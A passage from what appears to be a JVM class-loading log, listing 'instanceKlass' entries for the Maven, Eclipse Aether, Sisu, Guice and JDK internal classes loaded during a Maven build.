org/apache/maven/plugin/PluginRealmCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/PluginRealmCache$PluginRealmSupplier\ninstanceKlass org/apache/maven/plugin/PluginRealmCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginRealmCache\ninstanceKlass org/apache/maven/wagon/OutputData\ninstanceKlass org/apache/maven/wagon/InputData\ninstanceKlass java/util/EventObject\ninstanceKlass org/apache/maven/wagon/events/SessionListener\ninstanceKlass org/apache/maven/wagon/resource/Resource\ninstanceKlass org/apache/maven/wagon/repository/RepositoryPermissions\ninstanceKlass org/apache/maven/wagon/proxy/ProxyInfo\ninstanceKlass org/apache/maven/wagon/authentication/AuthenticationInfo\ninstanceKlass org/apache/maven/wagon/events/TransferEventSupport\ninstanceKlass org/apache/maven/wagon/events/SessionEventSupport\ninstanceKlass org/apache/maven/wagon/repository/Repository\ninstanceKlass org/apache/maven/wagon/proxy/ProxyInfoProvider\ninstanceKlass org/apache/maven/wagon/AbstractWagon\ninstanceKlass org/apache/maven/wagon/StreamingWagon\ninstanceKlass org/apache/maven/lifecycle/internal/builder/singlethreaded/SingleThreadedBuilder\ninstanceKlass org/apache/maven/settings/TrackableBase\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixRequest\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginManager\ninstanceKlass org/apache/maven/lifecycle/mapping/DefaultLifecycleMapping\ninstanceKlass org/apache/maven/artifact/resolver/DefaultResolutionErrorHandler\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleTaskSegmentCalculator\ninstanceKlass org/apache/maven/artifact/versioning/VersionRange\ninstanceKlass org/apache/maven/artifact/resolver/ResolutionNode\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolutionResult\ninstanceKlass org/apache/maven/artifact/resolver/ArtifactResolutionRequest\ninstanceKlass org/apache/maven/repository/legacy/resolver/DefaultLegacyArtifactCollector\ninstanceKlass org/apache/maven/model/building/ModelBuildingResult\ninstanceKlass org/apache/maven/project/ReactorModelPool\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder$InternalConfig\ninstanceKlass org/apache/maven/model/RepositoryBase\ninstanceKlass org/apache/maven/model/resolution/ModelResolver\ninstanceKlass org/apache/maven/model/building/ModelBuildingRequest\ninstanceKlass org/apache/maven/project/ProjectBuildingResult\ninstanceKlass org/apache/maven/model/building/ModelBuildingListener\ninstanceKlass org/apache/maven/model/building/ModelCache\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder\ninstanceKlass org/apache/maven/artifact/repository/metadata/Versioning\ninstanceKlass org/codehaus/plexus/logging/AbstractLogEnabled\ninstanceKlass org/apache/maven/artifact/repository/metadata/io/DefaultMetadataReader\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataSource$ProjectRelocation\ninstanceKlass org/apache/maven/model/ModelBase\ninstanceKlass org/apache/maven/model/building/ModelProblem\ninstanceKlass org/apache/maven/model/Dependency\ninstanceKlass org/apache/maven/artifact/resolver/filter/ArtifactFilter\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadata\ninstanceKlass org/apache/maven/artifact/metadata/ArtifactMetadata\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadata\ninstanceKlass org/apache/maven/repository/legacy/metadata/MetadataResolutionRequest\ninstanceKlass org/apache/maven/repository/legacy/metadata/ResolutionGroup\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataSource\ninstanceKlass org/apache/maven/artifact/repository/metadata/Metadata\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver$Versions\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResult\ninstanceKlass org/eclipse/aether/RequestTrace\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver$Key\ninstanceKlass org/apache/maven/plugin/version/PluginVersionRequest\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResult\ninstanceKlass org/eclipse/aether/repository/ArtifactRepository\ninstanceKlass org/eclipse/aether/metadata/Metadata\ninstanceKlass org/eclipse/aether/version/VersionScheme\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver\ninstanceKlass org/apache/maven/toolchain/model/TrackableBase\ninstanceKlass org/apache/maven/toolchain/DefaultToolchainsBuilder\ninstanceKlass org/apache/maven/wagon/events/TransferListener\ninstanceKlass org/apache/maven/profiles/ProfileManager\ninstanceKlass org/apache/maven/model/building/ModelSource\ninstanceKlass org/apache/maven/project/ProjectBuilderConfiguration\ninstanceKlass org/apache/maven/project/DefaultMavenProjectBuilder\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler\ninstanceKlass org/eclipse/sisu/space/asm/Handler\ninstanceKlass org/eclipse/sisu/space/asm/Frame\ninstanceKlass org/eclipse/sisu/space/asm/ByteVector\ninstanceKlass org/eclipse/sisu/space/asm/Symbol\ninstanceKlass org/eclipse/sisu/space/asm/SymbolTable\ninstanceKlass org/eclipse/sisu/space/asm/RecordComponentVisitor\ninstanceKlass org/eclipse/sisu/space/asm/FieldVisitor\ninstanceKlass org/eclipse/sisu/space/asm/ModuleVisitor\ninstanceKlass org/eclipse/sisu/space/asm/MethodVisitor\ninstanceKlass org/apache/maven/project/DefaultDependencyResolutionResult\ninstanceKlass org/apache/maven/project/DependencyResolutionRequest\ninstanceKlass org/eclipse/aether/graph/DependencyVisitor\ninstanceKlass org/apache/maven/project/DependencyResolutionResult\ninstanceKlass org/apache/maven/project/DefaultProjectDependenciesResolver\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultExtensionRealmCache\ninstanceKlass org/apache/maven/lifecycle/MavenExecutionPlan\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycleExecutor\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/ConcurrencyDependencyGraph\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/ThreadOutputMuxer\ninstanceKlass org/apache/maven/lifecycle/internal/TaskSegment\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectSegment\ninstanceKlass org/apache/maven/lifecycle/internal/ReactorBuildStatus\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectBuildList\ninstanceKlass org/apache/maven/lifecycle/internal/ReactorContext\ninstanceKlass java/util/concurrent/CompletionService\ninstanceKlass org/apache/maven/lifecycle/internal/builder/multithreaded/MultiThreadedBuilder\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepositoryPolicy\ninstanceKlass org/apache/maven/repository/legacy/repository/DefaultArtifactRepositoryFactory\ninstanceKlass org/apache/maven/repository/metadata/ClasspathContainer\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraph\ninstanceKlass org/apache/maven/repository/metadata/DefaultClasspathTransformation\ninstanceKlass org/codehaus/plexus/component/repository/ComponentSetDescriptor\ninstanceKlass org/eclipse/aether/RepositorySystemSession\ninstanceKlass org/apache/maven/model/ConfigurationContainer\ninstanceKlass org/apache/maven/model/InputLocationTracker\ninstanceKlass org/apache/maven/plugin/DefaultBuildPluginManager\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/PasswordDecryptor\ninstanceKlass sun/reflect/generics/tree/MethodTypeSignature\ninstanceKlass sun/reflect/generics/tree/VoidDescriptor\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/apache/maven/artifact/repository/RepositoryRequest\ninstanceKlass org/apache/maven/artifact/repository/ArtifactRepository\ninstanceKlass org/apache/maven/artifact/Artifact\ninstanceKlass org/apache/maven/repository/legacy/resolver/transform/DefaultArtifactTransformationManager\ninstanceKlass com/google/inject/spi/ProviderWithExtensionVisitor\ninstanceKlass com/google/common/collect/Iterables\ninstanceKlass java/util/stream/ForEachOps$ForEachOp\ninstanceKlass java/util/stream/ForEachOps\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$71\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$70\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$69\ninstanceKlass com/google/inject/spi/InjectionPoint$$Lambda$68\ninstanceKlass org/eclipse/sisu/plexus/PlexusBean\ninstanceKlass org/codehaus/plexus/component/repository/ComponentDescriptor\ninstanceKlass com/google/inject/spi/ProvidesMethodBinding\ninstanceKlass org/eclipse/sisu/inject/Guice4\ninstanceKlass com/google/inject/internal/GuiceInternal\ninstanceKlass org/sonatype/inject/Parameters\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanConverter\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanConverter\ninstanceKlass com/google/inject/spi/TypeConverterBinding\ninstanceKlass java/lang/reflect/AnnotatedParameterizedType\ninstanceKlass sun/reflect/generics/tree/Wildcard\ninstanceKlass sun/reflect/generics/tree/BottomSignature\ninstanceKlass org/eclipse/sisu/inject/DefaultRankingFunction\ninstanceKlass com/google/inject/spi/ProvisionListenerBinding\ninstanceKlass com/google/inject/spi/TypeListenerBinding\ninstanceKlass org/eclipse/sisu/bean/BeanListener\ninstanceKlass com/google/inject/matcher/Matchers\ninstanceKlass org/eclipse/sisu/bean/PropertyBinder\ninstanceKlass org/eclipse/sisu/plexus/PlexusBeanBinder\ninstanceKlass com/google/inject/spi/InjectionListener\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/DefaultSecDispatcher\ninstanceKlass org/sonatype/plexus/components/cipher/DefaultPlexusCipher\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/codehaus/plexus/component/configurator/AbstractComponentConfigurator\ninstanceKlass org/codehaus/plexus/component/configurator/ComponentConfigurator\ninstanceKlass org/apache/maven/settings/validation/DefaultSettingsValidator\ninstanceKlass org/apache/maven/settings/validation/SettingsValidator\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsWriter\ninstanceKlass org/apache/maven/settings/io/SettingsWriter\ninstanceKlass org/apache/maven/settings/io/DefaultSettingsReader\ninstanceKlass org/apache/maven/settings/io/SettingsReader\ninstanceKlass org/apache/maven/settings/crypto/DefaultSettingsDecrypter\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecrypter\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuilder\ninstanceKlass org/apache/maven/settings/building/SettingsBuilder\ninstanceKlass org/eclipse/aether/transport/wagon/WagonTransporterFactory\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonProvider\ninstanceKlass org/eclipse/aether/transport/wagon/WagonProvider\ninstanceKlass org/eclipse/aether/internal/transport/wagon/PlexusWagonConfigurator\ninstanceKlass org/eclipse/aether/transport/wagon/WagonConfigurator\ninstanceKlass org/eclipse/aether/transport/http/ChecksumExtractor\ninstanceKlass org/eclipse/aether/transport/http/HttpTransporterFactory\ninstanceKlass org/eclipse/aether/transport/file/FileTransporterFactory\ninstanceKlass org/eclipse/aether/spi/connector/transport/TransporterFactory\ninstanceKlass org/apache/maven/repository/internal/VersionsMetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/SnapshotMetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/PluginsMetadataGeneratorFactory\ninstanceKlass org/eclipse/aether/impl/MetadataGeneratorFactory\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionResolver\ninstanceKlass org/eclipse/aether/impl/VersionResolver\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionRangeResolver\ninstanceKlass org/eclipse/aether/impl/VersionRangeResolver\ninstanceKlass org/apache/maven/repository/internal/DefaultModelCacheFactory\ninstanceKlass org/apache/maven/repository/internal/ModelCacheFactory\ninstanceKlass org/apache/maven/repository/internal/DefaultArtifactDescriptorReader\ninstanceKlass org/eclipse/aether/impl/ArtifactDescriptorReader\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport\ninstanceKlass org/eclipse/aether/named/NamedLockFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/StaticNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/GAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileStaticNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileHashingGAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/FileGAVNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NameMapper\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/providers/DiscriminatingNameMapperProvider\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactoryImpl\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapterFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/legacy/DefaultSyncContextFactory\ninstanceKlass org/eclipse/aether/impl/SyncContextFactory\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/DefaultSyncContextFactory\ninstanceKlass org/eclipse/aether/spi/synccontext/SyncContextFactory\ninstanceKlass java/lang/Deprecated\ninstanceKlass org/eclipse/aether/internal/impl/slf4j/Slf4jLoggerFactory\ninstanceKlass org/eclipse/aether/internal/impl/resolution/ArtifactResolverPostProcessorSupport\ninstanceKlass org/eclipse/aether/internal/impl/filter/RemoteRepositoryFilterSourceSupport\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilterSource\ninstanceKlass org/eclipse/aether/spi/resolution/ArtifactResolverPostProcessor\ninstanceKlass org/eclipse/aether/internal/impl/filter/DefaultRemoteRepositoryFilterManager\ninstanceKlass org/eclipse/aether/impl/RemoteRepositoryFilterManager\ninstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollector\ninstanceKlass org/eclipse/aether/impl/DependencyCollector\ninstanceKlass org/eclipse/aether/internal/impl/checksum/TrustedToProvidedChecksumsSourceAdapter\ninstanceKlass org/eclipse/aether/spi/checksums/ProvidedChecksumsSource\ninstanceKlass org/eclipse/aether/internal/impl/checksum/FileTrustedChecksumsSourceSupport\ninstanceKlass org/eclipse/aether/spi/checksums/TrustedChecksumsSource\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactorySupport\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactory\ninstanceKlass org/eclipse/aether/internal/impl/checksum/DefaultChecksumAlgorithmFactorySelector\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithmFactorySelector\ninstanceKlass org/eclipse/aether/internal/impl/SimpleLocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/internal/impl/Maven2RepositoryLayoutFactory\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayoutFactory\ninstanceKlass org/eclipse/aether/spi/log/LoggerFactory\ninstanceKlass org/eclipse/aether/internal/impl/LoggerFactoryProvider\ninstanceKlass org/eclipse/aether/internal/impl/EnhancedLocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/spi/localrepo/LocalRepositoryManagerFactory\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdatePolicyAnalyzer\ninstanceKlass org/eclipse/aether/impl/UpdatePolicyAnalyzer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultUpdateCheckManager\ninstanceKlass org/eclipse/aether/impl/UpdateCheckManager\ninstanceKlass java/lang/Long$LongCache\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTransporterProvider\ninstanceKlass org/eclipse/aether/spi/connector/transport/TransporterProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultTrackingFileManager\ninstanceKlass org/eclipse/aether/internal/impl/TrackingFileManager\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystemLifecycle\ninstanceKlass org/eclipse/aether/impl/RepositorySystemLifecycle\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositorySystem\ninstanceKlass org/eclipse/aether/RepositorySystem\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryLayoutProvider\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayoutProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryEventDispatcher\ninstanceKlass org/eclipse/aether/impl/RepositoryEventDispatcher\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryConnectorProvider\ninstanceKlass org/eclipse/aether/impl/RepositoryConnectorProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRemoteRepositoryManager\ninstanceKlass org/eclipse/aether/impl/RemoteRepositoryManager\ninstanceKlass org/eclipse/aether/internal/impl/DefaultOfflineController\ninstanceKlass org/eclipse/aether/impl/OfflineController\ninstanceKlass org/eclipse/aether/internal/impl/DefaultMetadataResolver\ninstanceKlass org/eclipse/aether/impl/MetadataResolver\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalRepositoryProvider\ninstanceKlass org/eclipse/aether/impl/LocalRepositoryProvider\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposerFactorySupport\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposerFactory\ninstanceKlass org/eclipse/aether/internal/impl/DefaultLocalPathComposer\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathComposer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultInstaller\ninstanceKlass org/eclipse/aether/impl/Installer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultFileProcessor\ninstanceKlass org/eclipse/aether/spi/io/FileProcessor\ninstanceKlass org/eclipse/aether/internal/impl/DefaultDeployer\ninstanceKlass org/eclipse/aether/impl/Deployer\ninstanceKlass org/eclipse/aether/internal/impl/DefaultChecksumPolicyProvider\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumPolicyProvider\ninstanceKlass org/eclipse/aether/internal/impl/DefaultArtifactResolver\ninstanceKlass org/eclipse/aether/impl/ArtifactResolver\ninstanceKlass org/eclipse/aether/connector/basic/BasicRepositoryConnectorFactory\ninstanceKlass org/eclipse/aether/spi/locator/Service\ninstanceKlass org/eclipse/aether/spi/connector/RepositoryConnectorFactory\ninstanceKlass org/apache/maven/model/validation/DefaultModelValidator\ninstanceKlass org/apache/maven/model/validation/ModelValidator\ninstanceKlass org/apache/maven/model/superpom/DefaultSuperPomProvider\ninstanceKlass org/apache/maven/model/superpom/SuperPomProvider\ninstanceKlass org/apache/maven/model/profile/activation/PropertyProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/OperatingSystemProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/JdkVersionProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/FileProfileActivator\ninstanceKlass org/apache/maven/model/profile/activation/ProfileActivator\ninstanceKlass org/apache/maven/model/profile/DefaultProfileSelector\ninstanceKlass org/apache/maven/model/profile/ProfileSelector\ninstanceKlass org/apache/maven/model/profile/DefaultProfileInjector\ninstanceKlass org/apache/maven/model/profile/ProfileInjector\ninstanceKlass org/apache/maven/model/plugin/DefaultReportingConverter\ninstanceKlass org/apache/maven/model/plugin/ReportingConverter\ninstanceKlass org/apache/maven/model/plugin/DefaultReportConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/ReportConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/DefaultPluginConfigurationExpander\ninstanceKlass org/apache/maven/model/plugin/PluginConfigurationExpander\ninstanceKlass org/apache/maven/model/path/ProfileActivationFilePathInterpolator\ninstanceKlass org/apache/maven/model/path/DefaultUrlNormalizer\ninstanceKlass org/apache/maven/model/path/UrlNormalizer\ninstanceKlass org/apache/maven/model/path/DefaultPathTranslator\ninstanceKlass org/apache/maven/model/path/PathTranslator\ninstanceKlass org/apache/maven/model/path/DefaultModelUrlNormalizer\ninstanceKlass org/apache/maven/model/path/ModelUrlNormalizer\ninstanceKlass org/apache/maven/model/path/DefaultModelPathTranslator\ninstanceKlass org/apache/maven/model/path/ModelPathTranslator\ninstanceKlass org/apache/maven/model/normalization/DefaultModelNormalizer\ninstanceKlass org/apache/maven/model/normalization/ModelNormalizer\ninstanceKlass org/apache/maven/model/management/DefaultPluginManagementInjector\ninstanceKlass org/apache/maven/model/management/PluginManagementInjector\ninstanceKlass org/apache/maven/model/management/DefaultDependencyManagementInjector\ninstanceKlass org/apache/maven/model/management/DependencyManagementInjector\ninstanceKlass org/apache/maven/model/locator/DefaultModelLocator\ninstanceKlass org/apache/maven/model/io/DefaultModelWriter\ninstanceKlass org/apache/maven/model/io/ModelWriter\ninstanceKlass org/apache/maven/model/io/DefaultModelReader\ninstanceKlass org/apache/maven/model/interpolation/AbstractStringBasedModelInterpolator\ninstanceKlass org/apache/maven/model/interpolation/ModelInterpolator\ninstanceKlass org/apache/maven/model/interpolation/DefaultModelVersionProcessor\ninstanceKlass org/apache/maven/model/interpolation/ModelVersionProcessor\ninstanceKlass org/apache/maven/model/inheritance/DefaultInheritanceAssembler\ninstanceKlass org/apache/maven/model/inheritance/InheritanceAssembler\ninstanceKlass org/apache/maven/model/composition/DefaultDependencyManagementImporter\ninstanceKlass org/apache/maven/model/composition/DependencyManagementImporter\ninstanceKlass sun/reflect/annotation/AnnotationParser$$Lambda$67\ninstanceKlass org/apache/maven/model/building/DefaultModelProcessor\ninstanceKlass org/apache/maven/model/building/ModelProcessor\ninstanceKlass org/apache/maven/model/io/ModelReader\ninstanceKlass org/apache/maven/model/locator/ModelLocator\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder\ninstanceKlass org/apache/maven/model/building/ModelBuilder\ninstanceKlass org/apache/maven/cli/internal/BootstrapCoreExtensionManager\ninstanceKlass org/apache/maven/cli/configuration/SettingsXmlConfigurationProcessor\ninstanceKlass org/apache/maven/cli/configuration/ConfigurationProcessor\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsWriter\ninstanceKlass org/apache/maven/toolchain/io/ToolchainsWriter\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsReader\ninstanceKlass org/apache/maven/toolchain/io/ToolchainsReader\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuilder\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuilder\ninstanceKlass java/lang/invoke/LambdaForm$Hidden\ninstanceKlass org/apache/maven/execution/MavenSession\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$ScopeState\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$$Lambda$66\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope\ninstanceKlass jdk/internal/reflect/ClassDefiner$1\ninstanceKlass jdk/internal/reflect/ClassDefiner\ninstanceKlass jdk/internal/reflect/MethodAccessorGenerator$1\ninstanceKlass jdk/internal/reflect/Label$PatchInfo\ninstanceKlass jdk/internal/reflect/Label\ninstanceKlass jdk/internal/reflect/UTF8\ninstanceKlass jdk/internal/reflect/ClassFileAssembler\ninstanceKlass jdk/internal/reflect/ByteVectorImpl\ninstanceKlass jdk/internal/reflect/ByteVector\ninstanceKlass jdk/internal/reflect/ByteVectorFactory\ninstanceKlass jdk/internal/reflect/AccessorGenerator\ninstanceKlass jdk/internal/reflect/ClassFileConstants\ninstanceKlass org/apache/maven/plugin/internal/AbstractMavenPluginDependenciesValidator\ninstanceKlass org/apache/maven/plugin/internal/MavenPluginDependenciesValidator\ninstanceKlass org/apache/maven/plugin/internal/AbstractMavenPluginParametersValidator\ninstanceKlass org/apache/maven/plugin/internal/MavenPluginConfigurationValidator\ninstanceKlass org/apache/maven/eventspy/AbstractEventSpy\ninstanceKlass org/apache/maven/eventspy/EventSpy\ninstanceKlass org/apache/maven/plugin/PluginValidationManager\ninstanceKlass org/apache/maven/plugin/DefaultMojosExecutionStrategy\ninstanceKlass org/apache/maven/plugin/MojosExecutionStrategy\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDependencyResolver\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultProjectArtifactFactory\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectArtifactFactory\ninstanceKlass org/apache/maven/internal/aether/ResolverLifecycle\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory\ninstanceKlass org/apache/maven/extension/internal/CoreExportsProvider\ninstanceKlass org/apache/maven/plugin/MojoExecution\ninstanceKlass org/apache/maven/project/MavenProject\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$ScopeState\ninstanceKlass org/apache/maven/execution/MojoExecutionEvent\ninstanceKlass org/apache/maven/execution/scope/MojoExecutionScoped\ninstanceKlass com/google/inject/RestrictedBindingSource$Permit\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$1\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope\ninstanceKlass org/apache/maven/execution/MojoExecutionListener\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeBinder$1\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequestPopulator\ninstanceKlass org/apache/maven/execution/MavenExecutionRequestPopulator\ninstanceKlass org/apache/maven/classrealm/DefaultClassRealmManager\ninstanceKlass org/apache/maven/classrealm/ClassRealmManager\ninstanceKlass org/apache/maven/SessionScoped\ninstanceKlass org/apache/maven/ReactorReader\ninstanceKlass org/apache/maven/repository/internal/MavenWorkspaceReader\ninstanceKlass org/eclipse/aether/repository/WorkspaceReader\ninstanceKlass org/eclipse/sisu/space/WildcardKey$QualifiedImpl\ninstanceKlass org/eclipse/sisu/space/WildcardKey$Qualified\ninstanceKlass org/eclipse/sisu/space/WildcardKey\ninstanceKlass org/eclipse/sisu/Typed\ninstanceKlass org/sonatype/inject/EagerSingleton\ninstanceKlass org/eclipse/sisu/EagerSingleton\ninstanceKlass org/sonatype/inject/Mediator\ninstanceKlass org/eclipse/sisu/inject/TypeArguments\ninstanceKlass org/apache/maven/DefaultArtifactFilterManager\ninstanceKlass org/apache/maven/ArtifactFilterManager\ninstanceKlass org/eclipse/sisu/space/asm/Context\ninstanceKlass org/eclipse/sisu/space/asm/Attribute\ninstanceKlass org/eclipse/sisu/space/asm/AnnotationVisitor\ninstanceKlass org/eclipse/sisu/space/asm/ClassReader\ninstanceKlass org/eclipse/sisu/space/IndexedClassFinder$1\ninstanceKlass org/eclipse/sisu/inject/Logs$SLF4JSink\ninstanceKlass org/eclipse/sisu/inject/Logs$Sink\ninstanceKlass org/eclipse/sisu/inject/Logs\ninstanceKlass org/eclipse/sisu/space/QualifierCache\ninstanceKlass org/eclipse/sisu/space/QualifiedTypeVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeVisitor$ComponentAnnotationVisitor\ninstanceKlass org/eclipse/sisu/space/AnnotationVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusTypeVisitor\ninstanceKlass org/eclipse/sisu/space/ClassVisitor\ninstanceKlass org/eclipse/sisu/plexus/PlexusXmlBeanModule$PlexusXmlBeanSource\ninstanceKlass org/eclipse/sisu/inject/DescriptionSource\ninstanceKlass org/eclipse/sisu/inject/AnnotatedSource\ninstanceKlass org/eclipse/sisu/Description\ninstanceKlass org/eclipse/sisu/Hidden\ninstanceKlass org/eclipse/sisu/Priority\ninstanceKlass org/eclipse/sisu/inject/Sources\ninstanceKlass com/google/inject/Key$AnnotationInstanceStrategy\ninstanceKlass com/google/inject/name/NamedImpl\ninstanceKlass com/google/inject/name/Named\ninstanceKlass com/google/inject/name/Names\ninstanceKlass com/google/inject/internal/MoreTypes$ParameterizedTypeImpl\ninstanceKlass sun/reflect/generics/reflectiveObjects/ParameterizedTypeImpl\ninstanceKlass sun/reflect/generics/reflectiveObjects/LazyReflectiveObjectGenerator\ninstanceKlass org/apache/maven/wagon/Wagon\ninstanceKlass org/apache/maven/toolchain/ToolchainsBuilder\ninstanceKlass org/apache/maven/toolchain/ToolchainManagerPrivate\ninstanceKlass org/apache/maven/toolchain/ToolchainManager\ninstanceKlass org/apache/maven/toolchain/ToolchainFactory\ninstanceKlass org/apache/maven/settings/MavenSettingsBuilder\ninstanceKlass org/apache/maven/rtinfo/RuntimeInformation\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache\ninstanceKlass org/apache/maven/project/artifact/MavenMetadataCache\ninstanceKlass org/apache/maven/project/ProjectRealmCache\ninstanceKlass org/apache/maven/project/ProjectDependenciesResolver\ninstanceKlass org/apache/maven/project/ProjectBuildingHelper\ninstanceKlass org/apache/maven/project/ProjectBuilder\ninstanceKlass org/apache/maven/project/MavenProjectHelper\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResolver\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixResolver\ninstanceKlass org/apache/maven/plugin/internal/PluginDependenciesResolver\ninstanceKlass org/apache/maven/plugin/PluginRealmCache\ninstanceKlass org/apache/maven/plugin/PluginManager\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache\ninstanceKlass org/apache/maven/plugin/MavenPluginManager\ninstanceKlass org/apache/maven/plugin/LegacySupport\ninstanceKlass org/apache/maven/plugin/ExtensionRealmCache\ninstanceKlass org/apache/maven/plugin/BuildPluginManager\ninstanceKlass org/apache/maven/model/plugin/LifecycleBindingsInjector\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderCommon\ninstanceKlass org/apache/maven/lifecycle/internal/builder/Builder\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor\ninstanceKlass org/apache/maven/lifecycle/internal/MojoDescriptorCreator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleTaskSegmentCalculator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleStarter\ninstanceKlass 